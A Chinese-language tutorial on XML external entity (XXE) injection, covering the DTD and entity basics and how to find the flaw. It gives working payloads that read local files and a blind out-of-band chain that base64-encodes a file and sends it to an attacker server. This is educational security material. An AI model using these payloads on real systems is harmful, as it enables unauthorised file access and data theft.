XXE漏洞
利用數據格式造成攻擊
1、造成XXE的原因
運維人員使用了低版本php,libxml低於2.9.1就會造成XXE或者程序員設置了libxml_disable_entity_loader(FALSE);
2、定義
XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
3、利用漏洞條件
(即參數有沒有過濾)
-
libxml是否小於2.9.1(不管libxml_disable_entity_loader選項怎么樣都直接可以用)
-
或者libxml_disable_entity_loader選項設置成了False。(高版本默認是true用不了,如果大意設置為了flase那么依然可以用)
注意編碼主要針對無回顯
4、XXE使用
- 通過xxe讀取目標文件內容,一般就是這么用,讀的就是/etc/password文件,執行操作系統命令是不現實的。(xml協議不支持命令執行,php協議可以,具體的命令執行還是讀文件是根據協議走的)
5、XXE挖掘及擴展
1、抓包看accept頭是否接受xml
找xxe:帶參數的地方,看accept的頭有沒有application/xhtml+xml即有沒有xml格式的提交數據;支持xml就開始測參數(就像注入一樣帶入語句腳本),直接POST包下面交數據代碼
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://1.txt"> ]> <x>&f;</x>
2、抓包修改數據類型,把json改成xml來傳輸數據
一道ctf題:http://web.jarvisoj.com:9882/
挖洞的時候有時候可能:看頭中json會不會造成xxe
如果遇到這種情況的話,json傳輸數據可以直接修改為xml,然后添加xml數據內容,放包。
例如原本的數據吧是這樣的:
但當改為xxe進行文件讀取:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///home/ctf/flag.txt">
]>
<x>&f;</x>
5、DTD基礎知識
Document Type Definition 即文檔類型定義,用來為XML文檔定義語義約束。可以嵌入在XML文檔中(內部聲明),也可以獨立的放在一個文件中(外部引用),由於其支持的數據類型有限,無法對元素或屬性的內容進行詳細規范,在可讀性和可擴展性方面也比不上XML Schema。
構建xxe的payload達成攻擊
首先了解下基本的PAYLOAD結構,然后再介紹每部分涉及的知識點,如下PAYLOAD開頭進行了XML的聲明,然后使用DTD聲明實體(這里使用了file協議),最后使用XML獲取實體的數據。
基本的PAYLOAD結構:
中間部分就是DTD部分,兩頭是xml代碼
使用DTD實體的攻擊方式
DTD 引用方式(簡要了解):
- DTD 內部聲明
<!DOCTYPE 根元素 [元素聲明]>
2. DTD 外部引用
<!DOCTYPE 根元素名稱 SYSTEM "外部DTD的URI">
3. 引用公共DTD
<!DOCTYPE 根元素名稱 PUBLIC "DTD標識名" "公用DTD的URI">
舉例:
<?xml version="1.0"?> <!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN" "http://mybatis.org/dtd/mybatis-3-config.dtd"> ...... 命名方法:以!DOCTYPE開始,configuration是文檔根元素名稱; PUBLIC表示是公共DTD;-表示是非ISO組織;mybatis.org表示組織; DTD 表示類型;Config 表示標簽;3.0是標簽后附帶的版本號; EN表示DTD語言是英語;最后是DTD的URL;
DTD 實體聲明:
1. 內部實體聲明
<!ENTITY 實體名稱 "實體的值">
一個實體由三部分構成:&符號, 實體名稱, 分號 (😉,這里&不論在GET還是在POST中都需要進行URL編碼(地址欄的話,瀏覽器默認URL編碼了),因為是使用參數傳入xml的,&符號會被認為是參數間的連接符號,示例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe "This is a text">]> <foo>&xxe;</foo>
2. 外部實體聲明
<!ENTITY 實體名稱 SYSTEM "URI/URL">
外部引用可支持http,file等協議,不同的語言支持的協議不同,但存在一些通用的協議,具體內容如下所示:
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> <foo>&xxe;</foo>
3. 參數實體聲明
<!ENTITY % 實體名稱 "實體的值">
or
<!ENTITY % 實體名稱 SYSTEM "URI">
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://192.168.18.23/xxe/evil.dtd" > %xxe;]> <foo>&evil;</foo>
外部evil.dtd中的內容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
4. 引用公共實體
<!ENTITY 實體名稱 PUBLIC "public_ID" "URI">
實例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe PUBLIC "public_ID" "http://192.168.18.23/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
6、實體類別介紹
實體主要分為一下四類:
- 內置實體 (Built-in entities)
- 字符實體 (Character entities)
- 通用實體 (General entities)
- 參數實體 (Parameter entities)
參數實體用%實體名稱申明,引用時也用%實體名稱;
其余實體直接用實體名稱申明,引用時用&實體名稱。
參數實體只能在DTD中申明,DTD中引用;
其余實體只能在DTD中申明,可在xml文檔中引用。
舉例:
* 內部實體
<!ENTITY 實體名稱 "實體的值">
- 外部實體
<!ENTITY 實體名稱 SYSTEM "URI/URL">
- 參數實體
<!ENTITY % 實體名稱 "實體內容">
或者
<!ENTITY % 實體名稱 "URI">
注意:參數實體是在DTD中被引用的,而其余實體是在xml文檔中被引用的。
總結
調用外部實體就是為了繞開設置的防止回顯
7、XXE攻擊類別及實例
有回顯
可以用下面的兩種方式:(直接使用外部實體調用file://函數去讀取本地文件,或者建立dtd文件進行遠程協議調用文件。)
-
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> <foo>&xxe;</foo>
-
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://192.168.18.23/xxe/evil2.dtd" > %xxe;]> <foo>&evil;</foo> 其中外部鏈接的evil.dtd中內容為:(這里攻擊服務器地址為:192.168.18.70:86) <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
無回顯
建立一個dtd文件,在遠程服務器上放入dtd文件,利用以后如果無報錯就需要查看數據日志文件信息,可以看到base64編碼后的數據。
可以使用外帶數據通道提取數據,先使用php://filter獲取目標文件的內容,然后將內容以http請求發送到接受數據的服務器(攻擊服務器)192.168.18.23。
攻擊的payload如下:
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.18.23/xxe/xxe2/test.dtd"> %remote;%int;%send; ]>
test.dtd的文件內容如下:讀取的文件內容進行了base64編碼
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windwos/win.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.18.23?p=%file;'>">
實際效果如下:
注意:無報錯需要訪問接受數據的服務器中的日志信息,可以看到經過base64編碼過的數據,解碼后便可以得到數據。(這是得知道目標日志存儲的位置)
我們清楚第看到服務器端接收到了我們用 base64 編碼后的敏感文件信息(編碼也是為了不破壞原本的XML語法),不編碼會報錯。
整個調用過程:
我們從 payload 中能看到 連續調用了三個參數實體 %remote;%int;%send;,這就是我們的利用順序,%remote 先調用,調用后請求遠程服務器上的 test.dtd ,有點類似於將 test.dtd 包含進來,然后 %int 調用 test.dtd 中的 %file, %file 就會去獲取服務器上面的敏感文件,然后將 %file 的結果填入到 %send 以后(因為實體的值中不能有 %, 所以將其轉成html實體編碼
%
),我們再調用 %send; 把我們的讀取到的數據發送到我們的遠程 vps 上,這樣就實現了外帶數據的效果,完美的解決了 XXE 無回顯的問題。